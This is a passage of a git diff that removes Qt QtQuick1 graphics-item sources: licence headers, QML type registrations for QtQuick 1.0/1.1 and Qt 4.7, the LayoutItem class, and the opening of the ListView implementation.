LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEITEMCHANGELISTENER -#define QDECLARATIVEITEMCHANGELISTENER - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include - -QT_BEGIN_NAMESPACE - -class QRectF; -class QDeclarativeItem; -class QDeclarative1AnchorsPrivate; -class QDeclarativeItemChangeListener -{ -public: - virtual void itemGeometryChanged(QDeclarativeItem *, const QRectF &, const QRectF &) {} - virtual void itemSiblingOrderChanged(QDeclarativeItem *) {} - virtual void itemVisibilityChanged(QDeclarativeItem *) {} - virtual void itemOpacityChanged(QDeclarativeItem *) {} - virtual void itemDestroyed(QDeclarativeItem *) {} - virtual QDeclarative1AnchorsPrivate *anchorPrivate() { return 0; } -}; - -QT_END_NAMESPACE - -#endif // QDECLARATIVEITEMCHANGELISTENER diff --git a/src/qtquick1/graphicsitems/qdeclarativeitemsmodule.cpp b/src/qtquick1/graphicsitems/qdeclarativeitemsmodule.cpp deleted file mode 100644 index 697fe6b638..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeitemsmodule.cpp +++ /dev/null @@ -1,269 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativeitemsmodule_p.h" - -#include -#include -#include -#include - -#include "QtQuick1/private/qdeclarativeevents_p_p.h" -#include "QtQuick1/private/qdeclarativescalegrid_p_p.h" -#include "QtQuick1/private/qdeclarativeanimatedimage_p.h" -#include "QtQuick1/private/qdeclarativeborderimage_p.h" -#include "QtQuick1/private/qdeclarativepositioners_p.h" -#include "QtQuick1/private/qdeclarativemousearea_p.h" -#include "QtQuick1/private/qdeclarativeflickable_p.h" -#include "QtQuick1/private/qdeclarativeflickable_p_p.h" -#include "QtQuick1/private/qdeclarativeflipable_p.h" -#include "QtQuick1/private/qdeclarativefocuspanel_p.h" -#include "QtQuick1/private/qdeclarativefocusscope_p.h" -#include "QtQuick1/private/qdeclarativegridview_p.h" -#include "QtQuick1/private/qdeclarativeimage_p.h" -#include "QtQuick1/private/qdeclarativeitem_p.h" -#include "QtQuick1/private/qdeclarativelayoutitem_p.h" -#include "QtQuick1/private/qdeclarativelistview_p.h" -#include "QtQuick1/private/qdeclarativeloader_p.h" -#include "QtQuick1/private/qdeclarativemousearea_p.h" -#include "QtQuick1/private/qdeclarativepath_p.h" -#include "QtQuick1/private/qdeclarativepathview_p.h" -#include "QtQuick1/private/qdeclarativerectangle_p.h" -#include "QtQuick1/private/qdeclarativerepeater_p.h" -#include "QtQuick1/private/qdeclarativetranslate_p.h" -#include "QtQuick1/private/qdeclarativetext_p.h" -#include "QtQuick1/private/qdeclarativetextedit_p.h" -#include "QtQuick1/private/qdeclarativetextinput_p.h" -#include "QtQuick1/private/qdeclarativevisualitemmodel_p.h" -#include "QtQuick1/private/qdeclarativegraphicswidget_p.h" -#include "QtQuick1/private/qdeclarativeanchors_p.h" -#include "QtQuick1/private/qdeclarativepincharea_p.h" -#include "QtQuick1/private/qdeclarativeaccessibleattached_p.h" - -static QDeclarativePrivate::AutoParentResult qgraphicsobject_autoParent(QObject *obj, QObject *parent) -{ - QGraphicsObject* gobj = qobject_cast(obj); - if (!gobj) - return QDeclarativePrivate::IncompatibleObject; - - QGraphicsObject* gparent = qobject_cast(parent); - if (!gparent) - return QDeclarativePrivate::IncompatibleParent; - - gobj->setParentItem(gparent); - return QDeclarativePrivate::Parented; -} - -void QDeclarative1ItemModule::defineModule(QDeclarativeQtQuick1Module::Module module) -{ - QDeclarativePrivate::RegisterAutoParent autoparent = { 0, &qgraphicsobject_autoParent }; - QDeclarativePrivate::qmlregister(QDeclarativePrivate::AutoParentRegistration, &autoparent); - - qmlRegisterType(); - qmlRegisterType(); - qmlRegisterType(); - qmlRegisterType(); - qmlRegisterType(); - qmlRegisterType(); - qmlRegisterType(); - qmlRegisterType(); -#ifndef QT_NO_VALIDATOR - qmlRegisterType(); -#endif - qmlRegisterType(); -#ifndef QT_NO_ACTION - qmlRegisterType(); -#endif - qmlRegisterType(); - qmlRegisterType(); -#ifndef QT_NO_GRAPHICSEFFECT - qmlRegisterType(); -#endif - - if (module == QDeclarativeQtQuick1Module::QtQuick1) { -#ifdef QT_NO_MOVIE - qmlRegisterTypeNotAvailable("QtQuick",1,0,"AnimatedImage", - qApp->translate("QDeclarative1AnimatedImage","Qt was built without support for QMovie")); -#else - qmlRegisterType("QtQuick",1,0,"AnimatedImage"); -#endif - qmlRegisterType("QtQuick",1,0,"BorderImage"); - qmlRegisterType("QtQuick",1,0,"Column"); - qmlRegisterType("QtQuick",1,0,"Drag"); - qmlRegisterType("QtQuick",1,0,"Flickable"); - qmlRegisterType("QtQuick",1,0,"Flipable"); - qmlRegisterType("QtQuick",1,0,"Flow"); - qmlRegisterType("QtQuick",1,0,"FocusPanel"); - qmlRegisterType("QtQuick",1,0,"FocusScope"); - qmlRegisterType("QtQuick",1,0,"Gradient"); - qmlRegisterType("QtQuick",1,0,"GradientStop"); - qmlRegisterType("QtQuick",1,0,"Grid"); - qmlRegisterType("QtQuick",1,0,"GridView"); - qmlRegisterType("QtQuick",1,0,"Image"); - qmlRegisterType("QtQuick",1,0,"Item"); - qmlRegisterType("QtQuick",1,0,"LayoutItem"); - qmlRegisterType("QtQuick",1,0,"ListView"); - qmlRegisterType("QtQuick",1,0,"Loader"); - qmlRegisterType("QtQuick",1,0,"MouseArea"); - qmlRegisterType("QtQuick",1,0,"Path"); - qmlRegisterType("QtQuick",1,0,"PathAttribute"); - qmlRegisterType("QtQuick",1,0,"PathCubic"); - qmlRegisterType("QtQuick",1,0,"PathLine"); - qmlRegisterType("QtQuick",1,0,"PathPercent"); - qmlRegisterType("QtQuick",1,0,"PathQuad"); - qmlRegisterType("QtQuick",1,0,"PathView"); -#ifndef QT_NO_VALIDATOR - qmlRegisterType("QtQuick",1,0,"IntValidator"); - qmlRegisterType("QtQuick",1,0,"DoubleValidator"); - qmlRegisterType("QtQuick",1,0,"RegExpValidator"); -#endif - qmlRegisterType("QtQuick",1,0,"Rectangle"); - qmlRegisterType("QtQuick",1,0,"Repeater"); - qmlRegisterType("QtQuick",1,0,"Rotation"); - qmlRegisterType("QtQuick",1,0,"Row"); - qmlRegisterType("QtQuick",1,0,"Translate"); - qmlRegisterType("QtQuick",1,0,"Scale"); - qmlRegisterType("QtQuick",1,0,"Text"); - qmlRegisterType("QtQuick",1,0,"TextEdit"); -#ifndef QT_NO_LINEEDIT - qmlRegisterType("QtQuick",1,0,"TextInput"); -#endif - qmlRegisterType("QtQuick",1,0,"ViewSection"); - qmlRegisterType("QtQuick",1,0,"VisualDataModel"); - qmlRegisterType("QtQuick",1,0,"VisualItemModel"); - - qmlRegisterType("QtQuick",1,0,"QGraphicsWidget"); - qmlRegisterExtendedType("QtQuick",1,0,"QGraphicsWidget"); - - qmlRegisterUncreatableType("QtQuick",1,0,"KeyNavigation",QDeclarative1KeyNavigationAttached::tr("KeyNavigation is only available via attached properties")); - qmlRegisterUncreatableType("QtQuick",1,0,"Keys",QDeclarative1KeysAttached::tr("Keys is only available via attached properties")); - - // QtQuick 1.1 items - qmlRegisterType("QtQuick",1,1,"PinchArea"); - qmlRegisterType("QtQuick",1,1,"Pinch"); - qmlRegisterType(); - qmlRegisterType("QtQuick",1,1,"Item"); - qmlRegisterType("QtQuick",1,1,"MouseArea"); - qmlRegisterType("QtQuick",1,1,"Flickable"); - qmlRegisterType("QtQuick",1,1,"ListView"); - qmlRegisterType("QtQuick",1,1,"GridView"); - qmlRegisterType("QtQuick",1,1,"Row"); - qmlRegisterType("QtQuick",1,1,"Grid"); - qmlRegisterType("QtQuick",1,1,"Flow"); - qmlRegisterType("QtQuick",1,1,"Repeater"); - qmlRegisterType("QtQuick",1,1,"Text"); - qmlRegisterType("QtQuick",1,1,"TextEdit"); -#ifndef QT_NO_LINEEDIT - qmlRegisterType("QtQuick",1,1,"TextInput"); -#endif - qmlRegisterRevision("QtQuick",1,1); - qmlRegisterRevision("QtQuick",1,0); - qmlRegisterRevision("QtQuick",1,1); - qmlRegisterRevision("QtQuick",1,0); - qmlRegisterRevision("QtQuick",1,1); - qmlRegisterUncreatableType("QtQuick",1,1,"LayoutMirroring", QDeclarative1LayoutMirroringAttached::tr("LayoutMirroring is only available via attached properties")); -#ifndef QT_NO_ACCESSIBILITY - qmlRegisterUncreatableType("QtQuick",1,0,"Accessible",QDeclarativeAccessibleAttached::tr("Accessible is only available via attached properties")); - qmlRegisterUncreatableType("QtQuick",1,1,"Accessible",QDeclarativeAccessibleAttached::tr("Accessible is only available via attached properties")); -#endif - - } else if (module == QDeclarativeQtQuick1Module::Qt47) { -#ifdef QT_NO_MOVIE - qmlRegisterTypeNotAvailable("Qt",4,7,"AnimatedImage", - qApp->translate("QDeclarative1AnimatedImage","Qt was built without support for QMovie")); -#else - qmlRegisterType("Qt",4,7,"AnimatedImage"); -#endif - qmlRegisterType("Qt",4,7,"BorderImage"); - qmlRegisterType("Qt",4,7,"Column"); - qmlRegisterType("Qt",4,7,"Drag"); - qmlRegisterType("Qt",4,7,"Flickable"); - qmlRegisterType("Qt",4,7,"Flipable"); - qmlRegisterType("Qt",4,7,"Flow"); - qmlRegisterType("Qt",4,7,"FocusPanel"); - qmlRegisterType("Qt",4,7,"FocusScope"); - qmlRegisterType("Qt",4,7,"Gradient"); - qmlRegisterType("Qt",4,7,"GradientStop"); - qmlRegisterType("Qt",4,7,"Grid"); - qmlRegisterType("Qt",4,7,"GridView"); - qmlRegisterType("Qt",4,7,"Image"); - qmlRegisterType("Qt",4,7,"Item"); - qmlRegisterType("Qt",4,7,"LayoutItem"); - qmlRegisterType("Qt",4,7,"ListView"); - qmlRegisterType("Qt",4,7,"Loader"); - qmlRegisterType("Qt",4,7,"MouseArea"); - qmlRegisterType("Qt",4,7,"Path"); - qmlRegisterType("Qt",4,7,"PathAttribute"); - qmlRegisterType("Qt",4,7,"PathCubic"); - qmlRegisterType("Qt",4,7,"PathLine"); - qmlRegisterType("Qt",4,7,"PathPercent"); - qmlRegisterType("Qt",4,7,"PathQuad"); - qmlRegisterType("Qt",4,7,"PathView"); -#ifndef QT_NO_VALIDATOR - qmlRegisterType("Qt",4,7,"IntValidator"); - qmlRegisterType("Qt",4,7,"DoubleValidator"); - qmlRegisterType("Qt",4,7,"RegExpValidator"); -#endif - qmlRegisterType("Qt",4,7,"Rectangle"); - qmlRegisterType("Qt",4,7,"Repeater"); - qmlRegisterType("Qt",4,7,"Rotation"); - qmlRegisterType("Qt",4,7,"Row"); - qmlRegisterType("Qt",4,7,"Translate"); - qmlRegisterType("Qt",4,7,"Scale"); - qmlRegisterType("Qt",4,7,"Text"); - qmlRegisterType("Qt",4,7,"TextEdit"); -#ifndef QT_NO_LINEEDIT - qmlRegisterType("Qt",4,7,"TextInput"); -#endif - qmlRegisterType("Qt",4,7,"ViewSection"); - qmlRegisterType("Qt",4,7,"VisualDataModel"); - qmlRegisterType("Qt",4,7,"VisualItemModel"); - - qmlRegisterType("Qt",4,7,"QGraphicsWidget"); - qmlRegisterExtendedType("Qt",4,7,"QGraphicsWidget"); - - qmlRegisterUncreatableType("Qt",4,7,"KeyNavigation",QDeclarative1KeyNavigationAttached::tr("KeyNavigation is only available via attached properties")); - qmlRegisterUncreatableType("Qt",4,7,"Keys",QDeclarative1KeysAttached::tr("Keys is only available via attached properties")); - } -} - - - diff --git a/src/qtquick1/graphicsitems/qdeclarativeitemsmodule_p.h b/src/qtquick1/graphicsitems/qdeclarativeitemsmodule_p.h deleted file mode 100644 index 1155a38758..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativeitemsmodule_p.h +++ /dev/null @@ -1,63 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEITEMMODULE_H -#define QDECLARATIVEITEMMODULE_H - -#include -#include "../qtquick1_p.h" - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarative1ItemModule -{ -public: - static void defineModule(QDeclarativeQtQuick1Module::Module module); -}; - -QT_END_NAMESPACE - -QT_END_HEADER - -#endif // QDECLARATIVEITEMMODULE_H diff --git a/src/qtquick1/graphicsitems/qdeclarativelayoutitem.cpp b/src/qtquick1/graphicsitems/qdeclarativelayoutitem.cpp deleted file mode 100644 index d55aaa7c5c..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativelayoutitem.cpp +++ /dev/null @@ -1,117 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "private/qdeclarativelayoutitem_p.h" - -#include - -#include - -QT_BEGIN_NAMESPACE - - - -/*! - \qmlclass LayoutItem QDeclarative1LayoutItem - \inqmlmodule QtQuick 1 - \ingroup qml-utility-elements - \since QtQuick 1.0 - \brief The LayoutItem element allows declarative UI elements to be placed inside Qt's Graphics View layouts. - - LayoutItem is a variant of \l Item with additional size hint properties. These properties provide the size hints - necessary for items to work in conjunction with Qt \l{Graphics View Framework}{Graphics View} layout classes - such as QGraphicsLinearLayout and QGraphicsGridLayout. The Qt layout mechanisms will resize the LayoutItem as appropriate, - taking its size hints into account, and you can propagate this to the other elements in your UI via anchors and bindings. - - This is a QGraphicsLayoutItem subclass, and its properties merely expose the QGraphicsLayoutItem functionality to QML. - - The \l{declarative/cppextensions/qgraphicslayouts/layoutitem}{LayoutItem example} - demonstrates how a LayoutItem can be used within a \l{Graphics View Framework}{Graphics View} - scene. -*/ - -/*! - \qmlproperty QSizeF QtQuick1::LayoutItem::maximumSize - - The maximumSize property can be set to specify the maximum desired size of this LayoutItem -*/ - -/*! - \qmlproperty QSizeF QtQuick1::LayoutItem::minimumSize - - The minimumSize property can be set to specify the minimum desired size of this LayoutItem -*/ - -/*! - \qmlproperty QSizeF QtQuick1::LayoutItem::preferredSize - - The preferredSize property can be set to specify the preferred size of this LayoutItem -*/ - -QDeclarative1LayoutItem::QDeclarative1LayoutItem(QDeclarativeItem* parent) - : QDeclarativeItem(parent), m_maximumSize(INT_MAX,INT_MAX), m_minimumSize(0,0), m_preferredSize(0,0) -{ - setGraphicsItem(this); -} - -void QDeclarative1LayoutItem::setGeometry(const QRectF & rect) -{ - setX(rect.x()); - setY(rect.y()); - setWidth(rect.width()); - setHeight(rect.height()); -} - -QSizeF QDeclarative1LayoutItem::sizeHint(Qt::SizeHint w, const QSizeF &constraint) const -{ - Q_UNUSED(constraint); - if(w == Qt::MinimumSize){ - return m_minimumSize; - }else if(w == Qt::MaximumSize){ - return m_maximumSize; - }else{ - return m_preferredSize; - } -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/graphicsitems/qdeclarativelayoutitem_p.h b/src/qtquick1/graphicsitems/qdeclarativelayoutitem_p.h deleted file mode 100644 index f0823d50de..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativelayoutitem_p.h +++ /dev/null @@ -1,93 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEGRAPHICSLAYOUTITEM_H -#define QDECLARATIVEGRAPHICSLAYOUTITEM_H -#include "qdeclarativeitem.h" - -#include -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarative1LayoutItem : public QDeclarativeItem, public QGraphicsLayoutItem -{ - Q_OBJECT - Q_INTERFACES(QGraphicsLayoutItem) - Q_PROPERTY(QSizeF maximumSize READ maximumSize WRITE setMaximumSize NOTIFY maximumSizeChanged) - Q_PROPERTY(QSizeF minimumSize READ minimumSize WRITE setMinimumSize NOTIFY minimumSizeChanged) - Q_PROPERTY(QSizeF preferredSize READ preferredSize WRITE setPreferredSize NOTIFY preferredSizeChanged) -public: - QDeclarative1LayoutItem(QDeclarativeItem* parent=0); - - QSizeF maximumSize() const { return m_maximumSize; } - void setMaximumSize(const QSizeF &s) { if(s==m_maximumSize) return; m_maximumSize = s; emit maximumSizeChanged(); } - - QSizeF minimumSize() const { return m_minimumSize; } - void setMinimumSize(const QSizeF &s) { if(s==m_minimumSize) return; m_minimumSize = s; emit minimumSizeChanged(); } - - QSizeF preferredSize() const { return m_preferredSize; } - void setPreferredSize(const QSizeF &s) { if(s==m_preferredSize) return; m_preferredSize = s; emit preferredSizeChanged(); } - - virtual void setGeometry(const QRectF & rect); -protected: - virtual QSizeF sizeHint(Qt::SizeHint which, const QSizeF &constraint = QSizeF()) const; - -Q_SIGNALS: - void maximumSizeChanged(); - void minimumSizeChanged(); - void preferredSizeChanged(); - -private: - QSizeF m_maximumSize; - QSizeF m_minimumSize; - QSizeF m_preferredSize; -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1LayoutItem) - -QT_END_HEADER -#endif diff --git a/src/qtquick1/graphicsitems/qdeclarativelistview.cpp b/src/qtquick1/graphicsitems/qdeclarativelistview.cpp deleted file mode 100644 index c625fbd965..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativelistview.cpp +++ /dev/null @@ -1,3645 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativelistview_p.h" - -#include "QtQuick1/private/qdeclarativeflickable_p_p.h" -#include "QtQuick1/private/qdeclarativevisualitemmodel_p.h" - -#include "QtQuick1/private/qdeclarativesmoothedanimation_p_p.h" -#include -#include -#include -#include - -#include -#include -#include "qplatformdefs.h" - -QT_BEGIN_NAMESPACE - -#ifndef QML_FLICK_SNAPONETHRESHOLD -#define QML_FLICK_SNAPONETHRESHOLD 30 -#endif - -void QDeclarative1ViewSection::setProperty(const QString &property) -{ - if (property != m_property) { - m_property = property; - emit propertyChanged(); - } -} - -void QDeclarative1ViewSection::setCriteria(QDeclarative1ViewSection::SectionCriteria criteria) -{ - if (criteria != m_criteria) { - m_criteria = criteria; - emit criteriaChanged(); - } -} - -void QDeclarative1ViewSection::setDelegate(QDeclarativeComponent *delegate) -{ - if (delegate != m_delegate) { - m_delegate = delegate; - emit delegateChanged(); - } -} - -QString QDeclarative1ViewSection::sectionString(const QString &value) -{ - if (m_criteria == FirstCharacter) - return value.isEmpty() ? QString() : value.at(0); - else - return value; -} - -//---------------------------------------------------------------------------- - -class FxListItem1 -{ -public: - FxListItem1(QDeclarativeItem *i, QDeclarative1ListView *v) : item(i), section(0), view(v) { - attached = static_cast(qmlAttachedPropertiesObject(item)); - if (attached) - attached->setView(view); - } - ~FxListItem1() {} - qreal position() const { - if (section) { - if (view->orientation() == QDeclarative1ListView::Vertical) - return section->y(); - else - return (view->effectiveLayoutDirection() == Qt::RightToLeft ? -section->width()-section->x() : section->x()); - } else { - return itemPosition(); - } - } - - qreal itemPosition() const { - if (view->orientation() == QDeclarative1ListView::Vertical) - return item->y(); - else - return (view->effectiveLayoutDirection() == Qt::RightToLeft ? -item->width()-item->x() : item->x()); - } - qreal size() const { - if (section) - return (view->orientation() == QDeclarative1ListView::Vertical ? item->height()+section->height() : item->width()+section->width()); - else - return (view->orientation() == QDeclarative1ListView::Vertical ? item->height() : item->width()); - } - qreal itemSize() const { - return (view->orientation() == QDeclarative1ListView::Vertical ? item->height() : item->width()); - } - qreal sectionSize() const { - if (section) - return (view->orientation() == QDeclarative1ListView::Vertical ? section->height() : section->width()); - return 0.0; - } - qreal endPosition() const { - if (view->orientation() == QDeclarative1ListView::Vertical) { - return item->y() + (item->height() >= 1.0 ? item->height() : 1) - 1; - } else { - return (view->effectiveLayoutDirection() == Qt::RightToLeft - ? -item->width()-item->x() + (item->width() >= 1.0 ? item->width() : 1) - : item->x() + (item->width() >= 1.0 ? item->width() : 1)) - 1; - } - } - void setPosition(qreal pos) { - if (view->orientation() == QDeclarative1ListView::Vertical) { - if (section) { - section->setY(pos); - pos += section->height(); - } - item->setY(pos); - } else { - if (view->effectiveLayoutDirection() == Qt::RightToLeft) { - if (section) { - section->setX(-section->width()-pos); - pos += section->width(); - } - item->setX(-item->width()-pos); - } else { - if (section) { - section->setX(pos); - pos += section->width(); - } - item->setX(pos); - } - } - } - void setSize(qreal size) { - if (view->orientation() == QDeclarative1ListView::Vertical) - item->setHeight(size); - else - item->setWidth(size); - } - bool contains(qreal x, qreal y) const { - return (x >= item->x() && x < item->x() + item->width() && - y >= item->y() && y < item->y() + item->height()); - } - - QDeclarativeItem *item; - QDeclarativeItem *section; - QDeclarative1ListView *view; - QDeclarative1ListViewAttached *attached; - int index; -}; - -//---------------------------------------------------------------------------- - -class QDeclarative1ListViewPrivate : public QDeclarative1FlickablePrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1ListView) - -public: - QDeclarative1ListViewPrivate() - : currentItem(0), orient(QDeclarative1ListView::Vertical), layoutDirection(Qt::LeftToRight) - , visiblePos(0), visibleIndex(0) - , averageSize(100.0), currentIndex(-1), requestedIndex(-1) - , itemCount(0), highlightRangeStart(0), highlightRangeEnd(0) - , highlightRangeStartValid(false), highlightRangeEndValid(false) - , highlightComponent(0), highlight(0), trackedItem(0) - , moveReason(Other), buffer(0), highlightPosAnimator(0), highlightSizeAnimator(0) - , sectionCriteria(0), spacing(0.0) - , highlightMoveSpeed(400), highlightMoveDuration(-1) - , highlightResizeSpeed(400), highlightResizeDuration(-1), highlightRange(QDeclarative1ListView::NoHighlightRange) - , snapMode(QDeclarative1ListView::NoSnap), overshootDist(0.0) - , footerComponent(0), footer(0), headerComponent(0), header(0) - , bufferMode(BufferBefore | BufferAfter) - , ownModel(false), wrap(false), autoHighlight(true), haveHighlightRange(false) - , correctFlick(false), inFlickCorrection(false), lazyRelease(false) - , deferredRelease(false), layoutScheduled(false), currentIndexCleared(false) - , inViewportMoved(false) - , minExtentDirty(true), maxExtentDirty(true) - {} - - void init(); - void clear(); - FxListItem1 *createItem(int modelIndex); - void releaseItem(FxListItem1 *item); - - FxListItem1 *visibleItem(int modelIndex) const { - if (modelIndex >= visibleIndex && modelIndex < visibleIndex + visibleItems.count()) { - for (int i = modelIndex - visibleIndex; i < visibleItems.count(); ++i) { - FxListItem1 *item = visibleItems.at(i); - if (item->index == modelIndex) - return item; - } - } - return 0; - } - - FxListItem1 *firstVisibleItem() const { - const qreal pos = isRightToLeft() ? -position()-size() : position(); - for (int i = 0; i < visibleItems.count(); ++i) { - FxListItem1 *item = visibleItems.at(i); - if (item->index != -1 && item->endPosition() > pos) - return item; - } - return visibleItems.count() ? visibleItems.first() : 0; - } - - // Returns the item before modelIndex, if created. - // May return an item marked for removal. - FxListItem1 *itemBefore(int modelIndex) const { - if (modelIndex < visibleIndex) - return 0; - int idx = 1; - int lastIndex = -1; - while (idx < visibleItems.count()) { - FxListItem1 *item = visibleItems.at(idx); - if (item->index != -1) - lastIndex = item->index; - if (item->index == modelIndex) - return visibleItems.at(idx-1); - ++idx; - } - if (lastIndex == modelIndex-1) - return visibleItems.last(); - return 0; - } - - void regenerate() { - Q_Q(QDeclarative1ListView); - if (q->isComponentComplete()) { - if (header) { - if (q->scene()) - q->scene()->removeItem(header->item); - header->item->deleteLater(); - delete header; - header = 0; - } - if (footer) { - if (q->scene()) - q->scene()->removeItem(footer->item); - footer->item->deleteLater(); - delete footer; - footer = 0; - } - updateHeader(); - updateFooter(); - clear(); - setPosition(0); - q->refill(); - updateCurrent(currentIndex); - } - } - - void mirrorChange() { - Q_Q(QDeclarative1ListView); - regenerate(); - emit q->effectiveLayoutDirectionChanged(); - } - - bool isRightToLeft() const { - Q_Q(const QDeclarative1ListView); - return orient == QDeclarative1ListView::Horizontal && q->effectiveLayoutDirection() == Qt::RightToLeft; - } - - qreal position() 